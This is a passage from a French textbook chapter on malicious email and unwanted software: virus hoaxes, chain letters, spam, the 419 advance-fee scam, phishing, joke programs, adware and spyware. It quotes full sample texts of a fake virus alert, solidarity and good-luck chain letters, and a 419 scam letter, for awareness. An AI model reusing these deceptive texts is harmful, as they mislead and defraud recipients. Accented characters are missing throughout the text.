SECTOR ZERO A Virtual Card for You Un nouveau virus vient dtre dcouvert et a t classifi par Microsoft (www.microsoft.com) et par McAfee (www.mcafee.com) comme tant le plus destructeur nayant jamais exist!. Ce virus a t dcouvert hier aprs-midi par McAfee et aucun vaccin na encore t dvelopp. Ce virus dtruit le Sector Zero de votre disque dur, l o les informations vitales au fonctionnement de votre systme sont emmagasines. Ce virus agi de la faon suivante : il envoie luimme un message toute votre liste de contact avec le titre "A Virtual Card for You " ou Une carte virtuelle pour vous . NE PAS OUVRIR AUCUN LIEN QUI PORTE CETTE MENTION. Aussitt que la suppose carte virtuelle est ouverte, lordinateur gle et lutilisateur doit redmarrer son systme. Lorsque les touches ctrl+alt+del ou le bouton "reset" sont enfoncs, le virus dtruit le Sector Zero, votre disque dur sera alors dtruit de faon permanente. S.V.P. distribuez ce message plus de gens possible. Hier, en quelques heures seulement, le virus causer la panique New-York ; cest ce quannonait le canal nouvelles CNN (www.cnn.com). Cette alerte a t reue par un employ de Microsoft lui-mme. Figure 1.3 Exemple de rumeur lie un faux virus

Lhumour
Souvent lis lactualit et la vie courante ou professionnelle, ces messages nont pas lambigut des prcdents. Ils sont clairement reconnus comme humoristique par la personne qui les reoit et les retransmet ensuite pour en faire profiter ses relations.
ALERTE NOUVEAU VIRUS : JOSPIN.exe Si vous recevez un mail intitul : Avec Jospin tout ira bien ou Lionel Jospin lavenir vous sourit : SURTOUT NE LOUVREZ PAS ! Il sagit dun virus, le JOSPIN.exe, qui se rpand depuis 5 ans en France sous diffrentes formes : Aubry.exe (votre PC va planter en moins de 35h) Trotskyste.exe (votre imprimante nimprime plus quen rouge) Rave.exe (Votre carte son nest plus reconnue par le PC) Vaillant.exe (une photo dYvan Colonna remplacera votre fond dcran) Fabius.exe (la capacit de votre mmoire vive est constamment revue la baisse) Chevenement.exe (A chaque clic gauche, le message dalerte tes vous sr ? saffiche lcran) Ce virus est programm pour devenir actif le 5 mai 2002 20h00. Presque la moiti des ordinateurs franais auraient t contamins en moins de 5 ans. Heureusement une mobilisation spontane des professionnels du Net, des jeunes et des jeunes actifs a permis de trouver la parade en mettant au point lanti-virus le plus >efficace ce jour : lesprit dquipe. Lefficacit de cet anti-virus est proportionnelle au nombre dinternautes enregistrs sur www.lespritdequipe.com. En venant vous inscrire et en diffusant ce message dalerte lensemble de votre carnet dadresses, vous radiquerez le virus le plus austre que la France ait connue. LEsprit dEquipe Cellule Anti-Virus www.lespritdequipe.com Figure 1.4 Exemple de message humoristique

Dunod La photocopie non autorise est un dlit

Chapitre 1. Les multiples aspects de la malveillance

Quils soient lis aux faux virus ou lhumour, si ces messages sont relays outrance, ils risquent dencombrer les rseaux.

1.2.2 Les lettres chanes


Dans ma jeunesse, des lettres chanes circulaient par la poste. Elles taient souvent connues sous le nom de chane de Saint Antoine. Elles prsentaient un texte de prire Saint-Antoine quil fallait transmettre ses amis. Dans les pays anglo-saxons, elles se sont aussi nommes chane de Saint Jude, en rfrence au patron des dsesprs. Le courrier lectronique est mieux adapt cette forme de propagation avec linstantanit des changes, son faible cot et sa capacit dexpdition des destinataires multiples. Lexpditeur est souvent lune de nos relations, proche ou lointaine, qui a retrouv nos coordonnes dans son carnet dadresses. Lappel la solidarit est le principal objet de ce type de message. Une situation dramatique vous est expose. Le message vous encourage le rexpdier car des fournisseurs daccs Internet sont censs les comptabiliser pour reverser une somme proportionnelle aux personnes en difcult.
NE PAS DTRUIRE ET FAIRE SUIVRE SVP !!! SALUT TOUT LE MONDE > > > LISEZ CE MESSAGE ET ENVOYER-LE AU MAX DE PERSONNES POSSIBLE. > SI VOUS DETRUISEZ CECI, VOUS NAVEZ PAS DE COEUR ! JE SUIS UN JEUNE PAPA > DE 29 ANS. > MA FEMME ET MOI AVONS EU UNE VIE MERVEILLEUSE ENSEMBLE. DIEU NOUS > A BENIAVEC UN ENFANT ET SON NOM EST RACHEL. AUJOURDHUI, ELLE EST AGE > DE 10 ANS. > > > IL NY A PAS LONGTEMPS, LE DOCTEUR A DETECTE UN CANCER DU CERVEAU > DANS SON PETIT CORPS. > IL Y A SEULEMENT UNE SOLUTION POUR LA SAUVER : CEST UNE OPRATION. > MALEUREUSEMENT, NOUS NAVONS PAS ASSEZ DARGENT POUR PAYER LE PRIX. > AOL ET ZDNET ONT ACCEPTE DE NOUS AIDER. > LE SEUL MOYEN QUILS ONT DE NOUS AIDER EST LE SUIVANT : > JE VOUS ENVOIE CET EMAIL, ET VOUS LENVOYEZ A DAUTRES > PERSONNES. > AOL VA SUIVRE CET EMAIL, ET COMPTERA COMBIEN DE PERSONNES LONT RECU. > CHAQUE PERSONNE QUI OUVRE CET E-MAIL ET QUI LENVOIE A AU MOINS 3 > PERSONNES, NOUS DONNERA 32 CENTS. > SIL VOUS PLAIT, AIDEZ-NOUS !!! MERCI. > KEVIN & MLANIE Figure 1.5 Exemple de fausse chane de solidarit

1.2 Les messages non sollicits (sans pice jointe)

En 1997, Daniel Guinier, expert judiciaire prs la Cour dappel de Colmar, mettait en garde le public contre certaines chanes de solidarit1 : vitons toute paranoa mais, en rapport avec le texte suivant, posons-nous tout de mme la question : Que peut donc rapporter lenvoi de simples cartes de visite ? Monsieur (ou madame) Je reois de monsieur (ou madame) la requte suivante : est un petit garon (ou une petite fille), de 7 11 ans, actuellement malade ou souffrant dun cancer ou une leucmie en phase terminale. Un de ses souhaits serait dtre inscrit dans le Guiness Book des Records, avec le plus grand nombre de cartes de visite jamais rassembles par une seule personne. Si vous voulez exaucer son souhait, faites-lui parvenir votre carte professionnelle ladresse suivante : et faites suivre les pages de listes ci-jointes, y compris la vtre, dix autres personnes ou socits de votre connaissance. Je vous serais reconnaissant de ne pas briser cette chane de solidarit, etc. Si on peut noter que lobjet de la lettre est neutre, en apparence, puisquil nest pas question dargent, il fait tout de mme rfrence la qualification de la carte, dite : professionnelle ou daffaires . En revanche, il y a fort penser que certaines socits seraient prtes payer cher pour disposer dun fichier actualis de professionnels, plutt laise et lcoute des autres. Ce type de demande nest pas un cas isol. Daniel Guinier cite trois exemples ou lappel pour participer une telle chane a t prsent dans les mmes termes : en 1993, en faveur dun petit Amricain leucmique de onze ans ; en 1994, pour un petit Anglais de sept ans souffrant dun cancer ; en 1997, destination dune petite Portugaise de sept ans dont les jours sont compts. Il semble bien que ce systme de collecte fonctionne et cest le caractre urgent de la demande qui hte les rponses. Tous les moyens sont bons pour crer des chiers dadresses lectroniques de personnes vulnrables qui pourront ensuite faire lobjet dautres attaques cibles. Le mauvais sort, la chance ou la fortune peuvent aussi arriver dans votre boite lettre. Dautres chanes utilisent la crdibilit des gens face lapproche de malheurs annoncs ou de bonheurs futurs selon le renvoi ou non du message en quantit. La aussi, la meilleure solution est la suppression immdiate du message.

Dunod La photocopie non autorise est un dlit

1. Attention aux fausses chanes de solidarit. Document disponible ladresse : http:// www.afscv.org/misc/chaines.htm.

10

Chapitre 1. Les multiples aspects de la malveillance

Voeux de bonne anne 2000 de la part du Dalai Lama Vous trouverez quils valent la peine dtre lus et partags : Ne conservez pas ce message. Ce mantra doit quitter vos mains dans les 96 heures. Vous aurez une surprise trs agrable. Ceci est vridique, mme si vous ntes pas superstitieux. I N S T R U C T I O N S P O U R M E N E R V O T R E V IE 1. Tenez compte du fait que le grand amour et les grandes russites impliquent de grands risques. 2. Lorsque vous perdez, ne perdez pas la leon. 3. Suivez les trois R : Respect de soi-mme Respect des autres et Responsabilit de tous vos actes. 4. Souvenez-vous que ne pas obtenir ce que vous voulez est parfois un merveilleux coup de chance. 5. Apprenez les rgles pour savoir comment les transgresser correctement. 6. Ne laissez pas une petite dispute meurtrir une grande amiti. 7. Lorsque vous ralisez que vous avez commis une erreur, prenez immdiatement des mesures pour la corriger. 8. Passez un peu de temps seul chaque jour. 9. Ouvrez vos bras au changement, mais ne laissez pas senvoler vos valeurs. 10. Rappelez-vous que le silence est parfois la meilleure des rponses. 11. Vivez votre vie dune faon bonne et honorable. Ainsi, lorsque vous vieillirez et que vous regarderez en arrire, vous en profiterez une deuxime fois. 12. Un foyer aimant est la fondation de votre vie. 13. Dans les dsaccords que vous avez avez ceux que vous aimez, ne vous occupez que de la situation actuelle. Ne rveillez pas le pass. 14. Partagez votre savoir. Cest une manire datteindre limmortalit. 15. Soyez tendre avec la Terre. 16. Une fois par an, allez quelque part o vous ntes jamais all auparavant. 17. Souvenez-vous que la meilleure des relations est celle dans laquelle lamour que chacun porte lautre dpasse le besoin que vous avez de lautre. 18. Jugez vos succs daprs ce que vous avez d sacrifier pour les obtenir. 19. Approchez lamour et la cuisine avec un abandon insouciant. TRANSMETTEZ CE COURRIEL MANTRA A AU MOINS 5 PERSONNES ET VOTRE VIE SAMELIORERA. 0-4 personnes :Votre vie samliorera lgrement. 5-9 personnes : Votre vie samliorera selon vos dsirs. 9-14 personnes :Vous aurez au moins 5 surprises dans les 3 prochaines semaines. 15 personnes et plus : Votre vie samliorera de faon drastique et tout ce que vous avez pu rver commencera prendre forme. Je sais aussi que les rves se ralisent vraiment, et je vous assure de mes meilleurs voeux et de mes plus grand efforts en ce sens. Salutations, Dala Lama Figure 1.6 Exemple de chane bonne fortune

Lappt du gain est aussi un prtexte pour de propagation des chanes. Il y a celles qui reprennent les concepts dvelopps dans les appels la solidarit en vous promettant dtre le bnciaire dune partie des sommes promises. Dautres vous prsentent des offres promotionnelles allchantes avec, la cl, des logiciels ou des quipements gratuits dans la mesure ou vous participez la diffusion de linformation.

1.2 Les messages non sollicits (sans pice jointe)

11

En 2000, Ericsson et Nokia en on fait les frais. Le site Hoaxbuster diffuse leurs dmentis qui nont jamais su totalement stopper la diffusion1. Citons enn dans cette catgorie, les ptitions qui ne contiennent aucune adresse centralisant la collecte mais demandent simplement la signature dun e-mail puis la redistribution vers ses connaissances. Du fait de ce concept, elles narriveront jamais sur les bureaux des personnes qui pourraient tre concernes.

1.2.3 Le spamming
La Commission Nationale de lInformatique et des Liberts (CNIL) donne du spam la dfinition suivante : il sagit de lenvoi massif et parfois rpt de courriers lectroniques non sollicits des personnes avec lesquelles lexpditeur na jamais eu de contact, et dont il a capt ladresse lectronique de faon irrgulire. Nous savons tous quil est extrmement facile et peu coteux datteindre des centaines dindividus au travers du courrier lectronique. Cela na pas chapp aux publicitaires et divers individus peu recommandables qui se cachent souvent derrire une adresse falsie pour inonder nos boites aux lettres. Lexpditeur ne connat pas les destinataires, il ne cible ni ses relations personnelles, ni ses relations professionnelles. Les adresses ont t collectes grande chelle. On retrouve principalement dans ces courriers : des messages caractre commercial, des incitations la visite de site Web, des incitations la prise de contact (pornographie). Outre le dsagrment induit, ces messages provoquent un encombrement de la bande passante et une saturation de nos boites de rception qui, en situation extrme, risquent de bloquer larrive de messages valides. Rentable pour les spammeurs, qui y voient une faon peu coteuse de prospecter massivement de nouveaux clients, cette pratique a un cot pour les internautes, les entreprises et les fournisseurs daccs Internet : cots de connexion, de stockage des messages mais aussi temps pass trier, ltrer, ou grer les problmes techniques engendrs. En juillet 2002, la CNIL ouvrit une boite lettre lectronique permettant aux internautes sen estimant victimes de lui transfrer les messages non sollicits quils recevaient. Il sagissait dvaluer plus prcisment lampleur de phnomne et de proposer des solutions tant techniques que juridiques : Plus de 320 000 messages furent reus en 3 mois de fonctionnement. 85 % des spams taient rdigs en langue anglaise. 8 % taient dorigine asiatique. 7 % taient rdigs en langue franaise, la proportion des autres langues tant ngligeable.

Dunod La photocopie non autorise est un dlit

1. Dsinformation Ericsson offre ses portables : http://www.hoaxbuster.com/hoaxliste/hoax.php?idArticle=1058.

12

Chapitre 1. Les multiples aspects de la malveillance

Les particuliers semblaient plus particulirement viss par les contenus. 85 % dentre eux proposaient des produits ou des services susceptibles de les intresser tandis que les 15 % restant visaient les besoins dentreprises. Les messages de langue anglaise autres que pornographiques (42 %) concernaient principalement les secteurs de la sant (13 %) et des produits financiers (39 %) alors que ceux rdigs en franais, lexception des offres de services caractre pornographique (55 %), taient moins spcialiss en raison notamment de notre encadrement lgislatif et rglementaire plus strict et de nos habitudes de consommation diffrentes. La pratique du spam semblait essentiellement le fait de petites entreprises utilisant le rseau Internet comme vecteur privilgi de communication commerciale. Dans un communiqu de presse de fvrier 2004, lentreprise Postini indiquait que les courriels indsirables concernaient approximativement 79 % de tous les courriels analyss1. Les statistiques en ligne que lentreprise diffuse de manire continue ne montrent aucune diminution2.

Figure 1.7 Statistiques Postini 7 septembre 2004

La France nest pas pargne, le groupe franais Secuserve prsente sur son site les rapports de rpartition des menaces constates en France. Ils concernent plusieurs centaines de noms de domaines de clients franais, toute taille, et tout secteur dactivit. Moins pessimiste, il annonce nanmoins plus de 50 % de spam3.
1. Despite new spam law, Postini reports junk e-mail still piling up, communiqu disponible ladresse : http://www.postini.com/press/pr/pr020404.html. 2. Postini Resource Center E-mail Stats : http://www.postini.com/stats/. 3. SecuServe Scurit Internet : http://www.secuserve.com.

1.2 Les messages non sollicits (sans pice jointe)

13

Figure 1.8 Statistiques SecuServe 7 septembre 2004

Le phnomne est devenu si important quil a amen le gouvernement franais lancer un groupe de concertation et daction contre le spam. Il a t install le 16 janvier 2004 et est anim par la Direction du Dveloppement des Mdias (DDM)1. Selon le communiqu de presse ofciel, son objectif est de favoriser la concertation entre les acteurs publics et privs de la lutte contre le spam, et la coordination de leurs actions, en France comme linternational, dans un esprit de responsabilit. Les techniques denvoi massif de courrier non sollicit voluent au l des ans. La plupart des procds utiliss par les spammeurs sont, dans un premier temps, rests conventionnels et imparfaits dans leurs concepts : Utilisation de comptes temporaires. Ils sont ouverts chez des fournisseurs de service Internet. Mis en service par exemple un vendredi, ils peuvent permettre pendant un cours laps de temps des envois massifs. Le week-end pass, et lorsque les plaintes saccumulent, le compte est ferm. Cette pratique nest pas sans risque pour son auteur : pour ouvrir le compte, il faut souvent laisser une adresse et un numro de carte de crdit valable. Utilisation de relais de messagerie ouverts (serveurs relais SMTP ouverts). Ces serveurs sont capables denvoyer des messages en provenance dexpditeurs inconnus vers des destinataires qui nappartiennent pas leur domaine. Ces machines sont connues ou trs vite repres ; il existe des bases de donnes accessibles par interrogation DNS (exemple : Mail Abuse Prevention System, LLC2). Cette seconde pratique est contre par lutilisation de listes noires (blacklists). Celles-ci empchent la rception de tout mail en provenance de ces serveurs non scuriss, non fiables et dangereux.
1. Direction du Dveloppement des Mdias, Dossier Thmatique Spam : http://www.ddm.gouv.fr/dossiers_thematiques/documents/spam00.html. 2. MAPS Mail Abuse Prevention System, LLC : http://www.mail-abuse.com/.

Dunod La photocopie non autorise est un dlit

14

Chapitre 1. Les multiples aspects de la malveillance

Utilisation de serveurs mandataires non scuriss (proxy server HTTP/ SOCKS). Grce au protocole SOCKS, lutilisateur peut se connecter Internet sans tre vu et tout en tant protg de lextrieur. Le trafic se fait par le biais de ports connus mais non scuriss. Cette dernire solution a aussi ses inconvnients : la simple fermeture du port stoppe toute possibilit de trafic et les proxysocks ont tendance apparatre et disparatre assez rapidement. Depuis le milieu de lanne 2003, une technique plus sophistique voie le jour. Pour palier aux inconvnients lists ci dessus, le virus vient maintenant en aide aux spammeurs. Il installe sur les machines quil infecte de mini serveurs mandataires pirates. Les postes des internautes imprudents deviennent ainsi des relais de distribution. Les virus de la famille W32/Sobig@MM ont t des prcurseurs dans ce domaine.

1.2.4 Le scam africain


Cet aspect de la malveillance informatique nest pas prcisment classer dans la famille des rumeurs ou du courrier non sollicit. Il tient directement de la fraude financire. Le courrier lectronique en question prtend provenir du ls dun haut fonctionnaire, du frre dun industriel ou encore de la femme dun ex-chef dtat africain. Il vous explique quune importante somme dargent est bloque quelque part. Avec votre aide, et en utilisant votre surface nancire pour le transfert de fond, votre contact vous explique quil serait possible de dbloquer ces sommes, et une rcompense substantielle vous est propose si vous acceptez ce contrat. Si, vous rpondez ces mails, votre correspondant vous demandera sans doute douvrir un compte sur une banque africaine en y versant des liquidits pour payer des taxes, des frais davocats ou encore des bakchichs qui pourront aider au bon droulement de laffaire. Il vous interrogera galement sur votre environnement nancier en vous en demandant les dtails. Il est donc important de ne jamais rpondre ce type de message. Cette arnaque intitule Fraude pour Paiement dhonoraires anticips est aussi connue comme fraude 419 (numro de la section du code criminel du Nigeria qui couvre ce type de problmes). Dans les annes 80, elle circulait par courrier postal ou tlcopie. Apparue au Nigeria, son succs a vite franchi les frontires de lAfrique et de la toile mondiale. De nombreuses informations ce sujet sont disponible sur Internet1. En France, la 9me division de la Direction Centrale de la Police Judiciaire (DCPJ) sattache la rpression de telles infractions2.
1. Nigeria The 419 Coalition Website : http://home.rica.net/alphae/419coal/. 2. La police nationale Les escroqueries internationales : http://www.interieur.gouv.fr/rubriques/c/c3_police_nationale/c332_dcpj/ Les_escroqueries_internationales.

1.2 Les messages non sollicits (sans pice jointe)

15

Ces messages sont gnralement en anglais, il est plus rare de les rencontrer en franais. Dans le document ci-dessous, jai volontairement tronqu le numro de tlphone et ladresse e-mail de lexpditeur.
From: Junior Sankoh [xxxxxx@yahoo.com] Sent: Friday, January 23, 2004 8:41 PM To: francois_paget@avertlabs.com Subject: [spam] Investment Assistance Bonjour, Cette proposition peut vous paratre trange. Veuillez comprendre que cest la situation que je traverse actuellement qui ma pouss contacter une personne totalement trangre (vous). Permettez-moi de me prsenter ; Je suis citoyen de la Sierra Lone, mon nom est Junior Foday SANKOH. Je viens dhriter dune somme importante dargent et je ne my connais pas en transfert international ni en placement. Jai donc besoin de vous pour maider transfrer et grer cette fortune. Mon dfunt pre Foday Sabanah Sankoh fut chef des rebelles du (R. U. F.), il contrlait toute la zone diamantifre de la Sierra Lone. Avant sa mort le 29 Juillet dernier, il fut arrt, emprisonn et condamn par le gouvernement de mon pays. Mon pre a eu lide ingnieuse de dposer en mon nom dans une socit de scurit et de gardiennage en Rpublique du Bnin ( Afrique de lOuest ) la somme dargent de 50 millions de dollar amricain. Le dpt a t fait depuis 4 ans. Tous les documents originaux concernant ce dpt sont en ma possession en tant quhritier lgitime. Je voudrais que vous mapportiez lassistance ncessaire pour pouvoir rcuprer ce fond et le transfrer hors dAfrique. Jattends impatiemment votre rponse et vous suggre de mappeler sur mon tlphone direct pour plus dexplications. Mes salutations. Junior. Foday SANKOH. Tel : 00229 90 xx xx email : xxxxx@yahoo.fr Figure 1.9 Exemple de scam africain en version franaise

Dunod La photocopie non autorise est un dlit

1.2.5 Le phishing
Il sagit dobtenir des donnes sensibles afin de commettre des impostures lidentit et des escroqueries financires. Comme la expliqu Danielle Kaminsky lors du Panorama de la cybercriminalit 20031, le phishing joue sur lillusion et les apparences. Limposture dbute souvent par la rception dun courrier non sollicit, lescroc la ralise en 3 tapes : Il se fait passer pour qui il nest pas (une entreprise connue) pour solliciter les donnes convoites auprs des internautes. Il prsente des contenus fallacieux qui font illusion (motifs voqus, faux liens, fausses pages web, etc.).
1. CLUSIF Panorama de la cybercriminalit anne 2003 : https://www.clusif.asso.fr/fr/production/ouvrages/pdf/PanoCrim2k3-fr.pdf.

16

Chapitre 1. Les multiples aspects de la malveillance

Une fois les donnes convoites recueillies, il se fait passer pour qui il nest pas (les internautes escroqus) afin de se procurer des services ou des biens (argents, marchandises, papiers didentit et autres documents administratifs). Des courriels sannonant en provenance deBay (site dacheteurs et de vendeurs sur Internet), circulent en avisant les personnes que leur compte semble avoir t pirat.

Figure 1.10 Exemple de phishing

Les utilisateurs du site sont invits suivre le lien dans le message sils ne veulent pas que leur compte soit suspendu. Ils sont alors re-dirigs vers une page web, miroir du site ofciel. Cette page demande tout dabord le pseudo et le mot de passe. Une fois ceux ci renseigns, un long questionnaire est propos et de nombreuses donnes prives sont demandes. La capture dcran suivante nen est quune petite partie.

1.3 Les messages non sollicits (avec pice jointe)

17

Figure 1.11 Exemple de phishing (suite)

1.3 LES MESSAGES NON SOLLICITS (AVEC PICE JOINTE)


Les mails indsirables ne reprsentent quune gne pour les utilisateurs. De faible dimension, ils peuvent nanmoins encombrer les rseaux et ralentir les traitements. De tailles plus consquentes, des programmes humoristiques ou des fichiers censs contenir des informations sensationnelles ou simplement savoureuses peuvent gravement perturber les serveurs de messagerie. Plus ils seront relays, plus les rseaux seront encombrs, voire bloqus. En 1999, lpoque du Monicagate,de nombreux documents reprenaient les actes du procs dtaillant la nature de la relation inconvenante entre Bill Clinton et Monica Lewinsky. Dune taille suprieure un mga-octet, lun de ces chiers tait diffus sans retenue. Gnrant un effet boule de neige, plusieurs serveurs de messagerie dentreprises de renom ne purent supporter la surcharge de trac induite et nirent par cesser de fonctionner.

Dunod La photocopie non autorise est un dlit

18

Chapitre 1. Les multiples aspects de la malveillance

1.4 FARCES ET CANULARS


Comme leur nom lindique, les canulars ou les farces (jokes en anglais) sont conus pour faire rire. Ils ne se reproduisent pas et ne sont donc pas des virus. Ils nont aucune activit destructrice. La plupart des programmes de ce type sont de taille rduite. Citons par exemple frogbender.exe qui imagine le comportement dune grenouille dans un mixer en fonction de sa vitesse de rotation rglage de 1 10.

Figure 1.12 Frogbender : un programme inoffensif mais parfois encombrant

Certains canulars sont cependant difciles dsactiver, ils nhsitent pas modier la conguration de lordinateur pour rapparatre rgulirement. La limite entre farce et programme indsirable ou malveillant est donc troite. Lorsquil peut savrer perturbateur, le canular est gnralement dtect par lanti-virus. Il faudra nanmoins parfois activer certaines options particulires de recherche. Les principaux effets des canulars sont : affichage dun message, une image ou une animation (BlueSprite joke), manipulation du lecteur de CD-ROM (CokeGift joke), simulation de leffacement de fichiers ou du formatage du disque (Fake-Format joke), perturbation daffichage (Flipped joke, IconDance joke, Slider joke), perturbation du fonctionnement de la souris ou du clavier (MouseShoot joke), usurpation didentit sur un programme valide (Habar joke), ouverture intempestive de fentres (LikeWind joke).

1.5 Les infections informatiques

19

Figure 1.13 Le puzzle propos par le canular Slider Joke doit tre

rsolu avant de pouvoir reprendre son travail

1.5 LES INFECTIONS INFORMATIQUES


Les infections informatiques sont de deux ordres. Nous sommes ici face des programmes malveillants. On diffrencie :
Dunod La photocopie non autorise est un dlit

les programmes simples, les programmes auto reproducteurs.

1.5.1 Les programmes simples


Un programme simple contient une fonctionnalit malveillante qui est appele se dclencher un instant donn et sur un critre donn. Il ny a pas propagation. Le programme doit tre introduit (volontairement ou non) dans lordinateur cibl. Mme si un virus peut le vhiculer, lutilisateur peut tre amen lintroduire sur sa machine en croyant installer un programme banal. Lorsque quil sexcute, la fonctionnalit malveillante (en anglais, payload) sactive. Une action destructive, pnalisante, ou simplement perturbatrice est alors

20

Chapitre 1. Les multiples aspects de la malveillance

mise en uvre. Selon son but, elle sera visible ou non par lutilisateur. La premire excution du programme saccompagne souvent dune modication du systme qui permet ensuite une ractivation automatique chaque mise en route de la machine. Dans dautres cas, le programme se termine une fois son but atteint. On retrouve dans cette catgorie des programmes commerciaux indsirables dont lusage a t dtourn, des bombes logiques, des chevaux de Troie et des portes drobes. Il existe aussi des outils de capture dinformation, dattaque rseau et dappropriation de ressource. Les anti-virus ntablissent gnralement pas de distinction et tous ces programmes simples ; ils sont dtects en tant que Trojans.

Programmes commerciaux indsirables


Il sagit gnralement doutils dadministration distance ou de programmes indirectement ddis des tches dintrusion ou de piratage. Sils ne sont pas lgalement et volontairement utiliss leur usage sapparente de la malveillance. On classe aussi dans cette catgorie certains programmes du commerce qui peuvent tre configurs pour tre totalement invisibles aux yeux de lutilisateur. Mme si elle est parfois contestable, lorigine de ces programmes est juridiquement lgitime. Sils avaient t crs dans un but purement malhonnte, ils appartiendraient, pour la plupart, la famille des chevaux de Troie. Tout comme pour les canulars, nombre dentre eux sont dtects par de nombreux anti-virus du commerce, si loption de recherche adquat est active. On retrouve principalement dans cette catgorie des programmes permettant : darrter un ordinateur distance (Remote Shutdown), de rechercher ou de capturer des mots de passe (DialPWD), de modifier la page daccueil dInternet Explorer (Adshow), dinstaller une application en tant que service NT (FireDaemon), danalyser le trafic rseau (Dsnif), de contrler un ordinateur distance (NetBusPro), de composer des numros tlphoniques forte facturation (PornDial), dintercepter les frappes clavier (Silent Watch), de contrler lactivit dun ordinateur (WinGuardian), denvoyer massivement des e-mails (Wyrvis from Wyrviouss Invis), dprotger des logiciels sous licence (Crack-Generic), de contourner les pare feux ou les anti-virus (Firehole, Piorio), de faire des envois massifs de cartes de vux lectroniques (Friend Greeting), de trafiquer en mode tunnellisation (Htthost), deffacer des donnes du BIOS (KillCMOS), de reconstruire des excutables (Pereb PE-rebuilder),

1.5 Les infections informatiques

21

de rechercher des ports TCP/IP vulnrables (Pest-PortScan), de proposer des tests de personnalit (PersonalityTest), de dtruire des donnes en cas dutilisation non autorise de logiciel (FireAnvil). Parfois dutilisation lgitime, certains anti-virus tel que McAfee VirusScan sont capables dafner leur dtection en fonction de critres tels que le nom de chier ; une alerte ntant mise quen cas dutilisation de nom demprunt. Dautres programmes commerciaux indsirables se rencontrent frquemment, il sagit des adwares et des spywares, ils mritent toute notre attention.

Adwares et Spywares
Dun point de vue tymologique, les mots adware (Advertising Software) et spyware (Spying Software) sont des acronymes anglais qui dsignent deux classes particulires de logiciels. ces 2 classes se mlent parfois dautres groupes doutils dorigines diverses : Adware Spyware BHO Hijacker = = = = Ads + ware (logiciel publicitaire). Spy + ware (logiciel espion). Browser Helper Object. Outils de re-direction.

Citons titre dexemple :


Dunod La photocopie non autorise est un dlit

Adware-Cydoor (Adware). Spyware-eBlaster (Spyware). Adware-NavHelper (BHO). Galorion (Hijacker).

Figure 1.14 Nombre cumul dadwares et de spywares (source PestPatrol1) 1. Pest Patrol Graph Generator : http://research.pestpatrol.com/graphs/form.jsp.

22

Chapitre 1. Les multiples aspects de la malveillance

Tous ces programmes sont des logiciels provenant de sources commerciales connues. Ils ne peuvent donc pas tre classis comme malveillance. Ce sont cependant des programmes que de nombreux utilisateurs ne souhaitent pas conserver dans leur ordinateur, surtout lorsquils ont t installs dune manire hasardeuse. Cest pour cette raison que de nombreux anti-virus les dtectent dans la mesure ou lutilisateur en prcise le souhait.

Adware Dnomm pubiciel en franais, un adware est un programme qui dirige des publicits cibles vers lordinateur qui le contient. Il observe les habitudes de navigation de linternaute afin de lui fournir des offres adaptes son profil. Cette tche est gnralement mise en uvre aprs un consentement initial. En effet, un adware nest pas un programme auto reproducteur ; cest lutilisateur qui donne son accord au travers dune fentre de dialogue en rpondant positivement une question dont il na pas toujours pris le temps de lire lintgralit du contenu.
Avec la version gratuite v2.6.3 de Kazaa vous recevrez de la publicit envoye par Cydoor et le rseau GAIN comme le laisse sous-entendre linformation Ad Supported .

Figure 1.15 Adware, lexemple de Kazaa1

Certains petits utilitaires gratuits (freeware ou shareware) pour lequel il nest pas demand de droit dusage peuvent sapparenter des adwares. Leurs auteurs en conservent la proprit intellectuelle (copyright) et peroivent une compensation nancire par le biais dun afchage de bannires publicitaires priodiquement renouveles et afches au cour de lutilisation. 20/202 en est un exemple. Il permet de visualiser des images ayant toutes sortes de formats. Il permet aussi de faire des captures dcran, dajouter du texte sur des images, de faire quelques manipulations sur des images, etc. Notons enn quun adware ne collecte pas dinformation personnelle et quil se prsente souvent sous la forme de chiers binaires (.exe ou .dll).
1. Kazaa Media Desktop : http://www.kazaa.com/fr/. 2. HotFreeware : http://www.hotfreeware.com/2020/2020.htm.

1.5 Les infections informatiques

23

BHO Browser Helper Objects Un BHO est un programme additionnel Internet Explorer. Il sintgre au navigateur en permettant un tiers de le personnaliser ou dy ajouter des fonctionnalits complmentaires.
Sa procdure dinstallation, volontaire ou non, utilise la technologie ActiveX. Il se prsente gnralement comme une barre de boutons (en anglais, toolbar) ajoute au menu standard. Le BHO est toujours cens apporter une fonctionnalit ou un confort supplmentaire.

Figure 1.16 Exemple de BHO

Dunod La photocopie non autorise est un dlit

Hyjackers Ce sont des routines altrant le comportement et/ou les rglages du navigateur de linternaute. Bases sur des contrles ActiveX ou des langages de script tels que JavaScript, les modifications induites sont gnralement anodines, mais agaantes si elles ne sont pas souhaites. Citons par exemple la modification de la page de dmarrage ou lajout de nouvelles entres dans la liste de favoris. Spyware Lune des premires dfinitions du spyware a t donne par Steve Gibson1. Il nous indique quun spyware est un logiciel qui utilise en tche de fond la connexion Internet dun utilisateur sans quil en ait connaissance ou sans sa permission explicite.

1. http://grc.com/optout.htm.

24

Chapitre 1. Les multiples aspects de la malveillance

Figure 1.17 Spyware, la dfinition de Steve Gibson

Cette dnition nest plus assez restrictive. Elle tend inclure, outre lensemble des lments dcrits ci-dessus, certains vers ou chevaux de Troie. Aujourdhui un spyware se dni comme un programme conu dans le but de collecter des donnes personnelles et de les envoyer son concepteur ou un tiers via Internet sans avoir obtenu au pralable une autorisation explicite et claire desdits utilisateurs. Les spywares ne doivent donc pas tre confondus avec les adwares, les BHO ou les outils de redirection. Bien que parfois dplaisants, ces derniers ne transmettent aucune donne personnelle. Les spywares peuvent tre aussi tord confondus avec les cookies et les web-bugs qui ne sont pas des programmes mais des chiers de donnes ou des micro images dont la mise en uvre peut tre nanmoins dtourne et parfois porter atteinte la vie prive. Il existe 2 types de spywares se diffrenciant selon lobjectif vis : Le commerce ; ces programmes se rapprochent des adwares. Ils ne se contentent pas de rediriger des publicits cibles mais transmettent des informations nominatives et personnelles pour poursuivre leur approche marketing par email, courrier postal ou tlphone. Les socits collectrices peuvent ensuite monnayer les fichiers constitus. Le renseignement ; il sagit de logiciels espions capable denregistrer secrtement et de retransmettre les oprations effectues sur lordinateur sans que son utilisateur en ait la connaissance. Ils sont souvent proposs pour des buts louables tels que le contrle parental et dtourns de leur but premier.

Caractristiques majeures Dans le tableau 1.3, les BHO et les outils de redirection sont considrs comme des adwares. Si certains dentre eux contiennent des fonctionnalits de capture et denvoi dinformations personnelles, ce sont des spywares.

1.5 Les infections informatiques

25

